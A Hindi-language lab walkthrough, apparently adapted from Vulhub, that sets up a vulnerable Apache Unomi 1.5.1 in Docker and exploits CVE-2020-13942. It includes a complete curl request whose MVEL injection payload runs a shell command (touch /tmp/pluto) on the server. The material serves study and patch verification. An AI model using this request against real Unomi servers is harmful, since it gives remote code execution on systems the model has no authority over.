
Apache Unomi CVE-2020-13942 के लिए चरण-दर-चरण प्रयोगशाला वातावरण और शोषण, जो MVEL अभिव्यक्ति भाषा इंजेक्शन के माध्यम से रिमोट कोड निष्पादन का प्रदर्शन करता है।
यह भेद्यता MVEL अभिव्यक्ति भाषा इंजेक्शन का शोषण करके Apache Unomi संस्करण 1.5.1 चलाने वाले सिस्टम पर मनमाने कमांड के निष्पादन की अनुमति देती है।
GitHub - Vulhub - Unomi CVE-2020-13942
docker-compose.yml)version: '2'
services:
web:
image: vulhub/unomi:1.5.1
ports:
- "9443:9443"
- "8181:8181"
environment:
- UNOMI_ELASTICSEARCH_ADDRESSES=elasticsearch:9200
depends_on:
- elasticsearch
elasticsearch:
image: elasticsearch:7.9.3
environment:
- cluster.name=contextElasticSearch
- discovery.type=single-node
- "ES_JAVA_OPTS=-Xms512m -Xmx512m"
- bootstrap.memory_lock=true
निम्नलिखित कमांड के साथ कंटेनर चलाएँ:
docker compose up -d
curl का उपयोग करके निम्नलिखित POST अनुरोध भेजें:
curl -X POST http://localhost:8181/context.json \
-H "Accept-Encoding: gzip, deflate" \
-H "Accept: */*" \
-H "Accept-Language: en" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36" \
-H "Connection: close" \
-H "Content-Type: application/json" \
-d '{
"filters": [
{
"id": "sample",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"touch /tmp/pluto\");"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "sample"
}'
फ़ाइल निर्माण की पुष्टि करने के लिए कंटेनर में प्रवेश करें:
docker exec -it af7de05fc47e ls /tmp
pluto फ़ोल्डर की उपस्थिति की जाँच करें:
hsperfdata_root pluto
यदि pluto फ़ाइल मौजूद है, तो इसका मतलब है कि एक्सप्लॉइट सफल हुआ।
यह भेद्यता मनमाने कमांड के निष्पादन की अनुमति देती है। इन परीक्षणों का उपयोग केवल नियंत्रित वातावरण में और अध्ययन या सत्यापन उद्देश्यों के लिए करें। अनधिकृत वातावरण में भेद्यताओं का शोषण करना अवैध है।